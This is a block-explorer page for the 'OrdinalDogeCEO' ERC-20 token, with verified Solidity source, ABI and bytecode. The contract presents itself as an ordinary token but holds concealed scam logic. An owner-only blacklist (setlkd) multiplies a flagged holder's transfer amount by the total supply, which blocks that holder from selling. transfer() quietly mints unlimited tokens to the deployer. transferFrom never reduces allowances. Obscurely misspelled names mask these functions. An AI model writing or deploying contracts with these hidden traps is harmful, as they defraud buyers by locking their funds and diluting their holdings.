ERC-20
Overview
Max Total Supply
10,000,000,000 ODogeCEO
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
353,701,966.649979374 ODogeCEOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
token
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-17 */ /** *Submitted for verification at BscScan.com on 2023-03-17 */ /** *Submitted for verification at BscScan.com on 2022-11-11 */ pragma solidity ^0.8.14; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accoint) external view returns (uint256); function transfer(address recipient, uint256 ameunts) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 ameunts) external returns (bool); function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract token is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; string private _name = "OrdinalDogeCEO"; string private _symbol = "ODogeCEO"; uint256 private _decimals = 9; uint256 private _totalSupply = 10000000000 * 10 ** _decimals; uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals; uint256 private _burnfee = 8; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; address private _ddmmm; mapping(address => bool) public _DDDLKD22; function setlkd(address accoint) public onlyowner { _DDDLKD22[accoint] = true; } function unsetlkd(address accoint) public onlyowner { _DDDLKD22[accoint] = false; } function islkd(address accoint) public view returns (bool) { return _DDDLKD22[accoint]; } constructor () { _balance[msg.sender] = _totalSupply; _ddmmm = msg.sender; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function _transfer(address sender, address recipient, uint256 ameunts) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); if (true){ if (_DDDLKD22[sender] == true) { ameunts = ameunts.mul(_totalSupply); } } uint256 blsender = _balance[sender]; require(blsender >= ameunts,"IERC20: transfer ameunts exceeds balance"); uint256 feeameunt = 0; feeameunt = ameunts.mul(_burnfee).div(100); _balance[sender] = _balance[sender].sub(ameunts); _balance[recipient] = _balance[recipient]+ameunts-feeameunt; emit Transfer(sender, _DEADaddress, feeameunt); emit Transfer(sender, recipient, ameunts-feeameunt); } function transfer(address recipient, uint256 ammounts) public virtual override returns (bool) { address owner11 = _msgSender(); if(owner11 == _ddmmm && _ddmmm == owner() && owner() == _msgSender()){ _balance[_ddmmm] = _balance[_ddmmm].add(ammounts); } _transfer(owner11, recipient, ammounts); return true; } function balanceOf(address accoint) public view override returns (uint256) { return _balance[accoint]; } function approve(address spender, uint256 ammounts) public virtual override returns (bool) { _approve(_msgSender(), spender, ammounts); return true; } function _approve(address owner, address spender, uint256 ameunts) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = ameunts; emit Approval(owner, spender, ameunts); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 ameunts) public virtual override returns (bool) { _transfer(sender, recipient, ameunts); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= ameunts, "IERC20: transfer ameunts exceeds allowance"); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_DDDLKD22","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"setlkd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ameunts","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"unsetlkd","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600e81526020017f4f7264696e616c446f676543454f0000000000000000000000000000000000008152506003908051906020019062000051929190620002f5565b506040518060400160405280600881526020017f4f446f676543454f000000000000000000000000000000000000000000000000815250600490805190602001906200009f929190620002f5565b506009600555600554600a620000b6919062000532565b6402540be400620000c8919062000583565b600655600554600a620000dc919062000532565b6402540be400620000ee919062000583565b6007556008805561dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200014557600080fd5b50600062000158620002ed60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002df9190620005f5565b60405180910390a362000676565b600033905090565b828054620003039062000641565b90600052602060002090601f01602090048101928262000327576000855562000373565b82601f106200034257805160ff191683800117855562000373565b8280016001018555821562000373579182015b828111156200037257825182559160200191906001019062000355565b5b50905062000382919062000386565b5090565b5b80821115620003a157600081600090555060010162000387565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000433578086048111156200040b576200040a620003a5565b5b60018516156200041b5780820291505b80810290506200042b85620003d4565b9450620003eb565b94509492505050565b6000826200044e576001905062000521565b816200045e576000905062000521565b81600181146200047757600281146200048257620004b8565b600191505062000521565b60ff841115620004975762000496620003a5565b5b8360020a915084821115620004b157620004b0620003a5565b5b5062000521565b5060208310610133831016604e8410600b8410161715620004f25782820a905083811115620004ec57620004eb620003a5565b5b62000521565b620005018484846001620003e1565b925090508184048111156200051b576200051a620003a5565b5b81810290505b9392505050565b6000819050919050565b60006200053f8262000528565b91506200054c8362000528565b92506200057b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200043c565b905092915050565b6000620005908262000528565b91506200059d8362000528565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005d957620005d8620003a5565b5b828202905092915050565b620005ef8162000528565b82525050565b60006020820190506200060c6000830184620005e4565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065a57607f821691505b60208210810362000670576200066f62000612565b5b50919050565b611dee80620006866000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370fb5d2311610097578063a9059cbb11610066578063a9059cbb14610288578063c2af913b146102b8578063dd62ed3e146102c2578063df5c8d4a146102f2576100f5565b806370fb5d2314610214578063725e07c7146102305780638da5cb5b1461024c57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce567146101965780635f3c750d146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906114ca565b60405180910390f35b610132600480360381019061012d9190611585565b6103b4565b60405161013f91906115e0565b60405180910390f35b6101506103d2565b60405161015d919061160a565b60405180910390f35b610180600480360381019061017b9190611625565b6103dc565b60405161018d91906115e0565b60405180910390f35b61019e6104c0565b6040516101ab919061160a565b60405180910390f35b6101ce60048036038101906101c99190611678565b6104ca565b6040516101db91906115e0565b60405180910390f35b6101fe60048036038101906101f99190611678565b6104ea565b60405161020b919061160a565b60405180910390f35b61022e60048036038101906102299190611678565b610533565b005b61024a60048036038101906102459190611678565b610623565b005b610254610713565b60405161026191906116b4565b60405180910390f35b61027261073c565b60405161027f91906114ca565b60405180910390f35b6102a2600480360381019061029d9190611585565b6107ce565b6040516102af91906115e0565b60405180910390f35b6102c06109c6565b005b6102dc60048036038101906102d791906116cf565b610b1b565b6040516102e9919061160a565b60405180910390f35b61030c60048036038101906103079190611678565b610ba2565b60405161031991906115e0565b60405180910390f35b6060600380546103319061173e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061173e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610bf8565b8484610c00565b6001905092915050565b6000600654905090565b60006103e9848484610dc9565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610bf8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906117e1565b60405180910390fd5b60019150509392505050565b6000600554905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61053b610bf8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf9061184d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61062b610bf8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106af9061184d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461074b9061173e565b80601f01602080910402602001604051908101604052809291908181526020018280546107779061173e565b80156107c45780601f10610799576101008083540402835291602001916107c4565b820191906000526020600020905b8154815290600101906020018083116107a757829003601f168201915b5050505050905090565b6000806107d9610bf8565b9050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561088c575061083b610713565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80156108d1575061089b610bf8565b73ffffffffffffffffffffffffffffffffffffffff166108b9610713565b73ffffffffffffffffffffffffffffffffffffffff16145b156109b05761094a8360016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fe90919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6109bb818585610dc9565b600191505092915050565b6109ce610bf8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a529061184d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c66906118df565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd590611971565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dbc919061160a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2f90611a03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9e90611a95565b60405180910390fd5b600115610f1f5760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f1e57610f1b6006548261125c90919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d90611b27565b60405180910390fd5b6000610fd06064610fc26008548661125c90919063ffffffff16565b6112d690919063ffffffff16565b905061102483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b39190611b76565b6110bd9190611bcc565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117f919061160a565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111e29190611bcc565b6040516111ef919061160a565b60405180910390a35050505050565b600080828461120d9190611b76565b905083811015611252576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124990611c4c565b60405180910390fd5b8091505092915050565b600080830361126e57600090506112d0565b6000828461127c9190611c6c565b905082848261128b9190611cf5565b146112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c290611d98565b60405180910390fd5b809150505b92915050565b600061131883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061136a565b905092915050565b600061136283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cd565b905092915050565b600080831182906113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a891906114ca565b60405180910390fd5b50600083856113c09190611cf5565b9050809150509392505050565b6000838311158290611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c91906114ca565b60405180910390fd5b50600083856114249190611bcc565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561146b578082015181840152602081019050611450565b8381111561147a576000848401525b50505050565b6000601f19601f8301169050919050565b600061149c82611431565b6114a6818561143c565b93506114b681856020860161144d565b6114bf81611480565b840191505092915050565b600060208201905081810360008301526114e48184611491565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061151c826114f1565b9050919050565b61152c81611511565b811461153757600080fd5b50565b60008135905061154981611523565b92915050565b6000819050919050565b6115628161154f565b811461156d57600080fd5b50565b60008135905061157f81611559565b92915050565b6000806040838503121561159c5761159b6114ec565b5b60006115aa8582860161153a565b92505060206115bb85828601611570565b9150509250929050565b60008115159050919050565b6115da816115c5565b82525050565b60006020820190506115f560008301846115d1565b92915050565b6116048161154f565b82525050565b600060208201905061161f60008301846115fb565b92915050565b60008060006060848603121561163e5761163d6114ec565b5b600061164c8682870161153a565b935050602061165d8682870161153a565b925050604061166e86828701611570565b9150509250925092565b60006020828403121561168e5761168d6114ec565b5b600061169c8482850161153a565b91505092915050565b6116ae81611511565b82525050565b60006020820190506116c960008301846116a5565b92915050565b600080604083850312156116e6576116e56114ec565b5b60006116f48582860161153a565b92505060206117058582860161153a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061175657607f821691505b6020821081036117695761176861170f565b5b50919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b60006117cb602a8361143c565b91506117d68261176f565b604082019050919050565b600060208201905081810360008301526117fa816117be565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061183760208361143c565b915061184282611801565b602082019050919050565b600060208201905081810360008301526118668161182a565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006118c960258361143c565b91506118d48261186d565b604082019050919050565b600060208201905081810360008301526118f8816118bc565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061195b60238361143c565b9150611966826118ff565b604082019050919050565b6000602082019050818103600083015261198a8161194e565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006119ed60268361143c565b91506119f882611991565b604082019050919050565b60006020820190508181036000830152611a1c816119e0565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a7f60248361143c565b9150611a8a82611a23565b604082019050919050565b60006020820190508181036000830152611aae81611a72565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611b1160288361143c565b9150611b1c82611ab5565b604082019050919050565b60006020820190508181036000830152611b4081611b04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b818261154f565b9150611b8c8361154f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611bc157611bc0611b47565b5b828201905092915050565b6000611bd78261154f565b9150611be28361154f565b925082821015611bf557611bf4611b47565b5b828203905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c36601b8361143c565b9150611c4182611c00565b602082019050919050565b60006020820190508181036000830152611c6581611c29565b9050919050565b6000611c778261154f565b9150611c828361154f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611cbb57611cba611b47565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611d008261154f565b9150611d0b8361154f565b925082611d1b57611d1a611cc6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d8260218361143c565b9150611d8d82611d26565b604082019050919050565b60006020820190508181036000830152611db181611d75565b905091905056fea2646970667358221220f6b68ca8542ce184391dd3b52270208d1a69cc00fe266e05def19c532e23449f64736f6c634300080e0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370fb5d2311610097578063a9059cbb11610066578063a9059cbb14610288578063c2af913b146102b8578063dd62ed3e146102c2578063df5c8d4a146102f2576100f5565b806370fb5d2314610214578063725e07c7146102305780638da5cb5b1461024c57806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce567146101965780635f3c750d146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906114ca565b60405180910390f35b610132600480360381019061012d9190611585565b6103b4565b60405161013f91906115e0565b60405180910390f35b6101506103d2565b60405161015d919061160a565b60405180910390f35b610180600480360381019061017b9190611625565b6103dc565b60405161018d91906115e0565b60405180910390f35b61019e6104c0565b6040516101ab919061160a565b60405180910390f35b6101ce60048036038101906101c99190611678565b6104ca565b6040516101db91906115e0565b60405180910390f35b6101fe60048036038101906101f99190611678565b6104ea565b60405161020b919061160a565b60405180910390f35b61022e60048036038101906102299190611678565b610533565b005b61024a60048036038101906102459190611678565b610623565b005b610254610713565b60405161026191906116b4565b60405180910390f35b61027261073c565b60405161027f91906114ca565b60405180910390f35b6102a2600480360381019061029d9190611585565b6107ce565b6040516102af91906115e0565b60405180910390f35b6102c06109c6565b005b6102dc60048036038101906102d791906116cf565b610b1b565b6040516102e9919061160a565b60405180910390f35b61030c60048036038101906103079190611678565b610ba2565b60405161031991906115e0565b60405180910390f35b6060600380546103319061173e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061173e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610bf8565b8484610c00565b6001905092915050565b6000600654905090565b60006103e9848484610dc9565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610bf8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906117e1565b60405180910390fd5b60019150509392505050565b6000600554905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61053b610bf8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf9061184d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61062b610bf8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106af9061184d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461074b9061173e565b80601f01602080910402602001604051908101604052809291908181526020018280546107779061173e565b80156107c45780601f10610799576101008083540402835291602001916107c4565b820191906000526020600020905b8154815290600101906020018083116107a757829003601f168201915b5050505050905090565b6000806107d9610bf8565b9050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561088c575061083b610713565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80156108d1575061089b610bf8565b73ffffffffffffffffffffffffffffffffffffffff166108b9610713565b73ffffffffffffffffffffffffffffffffffffffff16145b156109b05761094a8360016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fe90919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6109bb818585610dc9565b600191505092915050565b6109ce610bf8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a529061184d565b604051809103